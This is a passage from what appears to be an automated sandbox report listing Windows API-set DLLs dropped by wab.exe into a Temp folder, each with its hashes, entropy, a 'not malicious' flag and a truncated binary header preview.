.......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
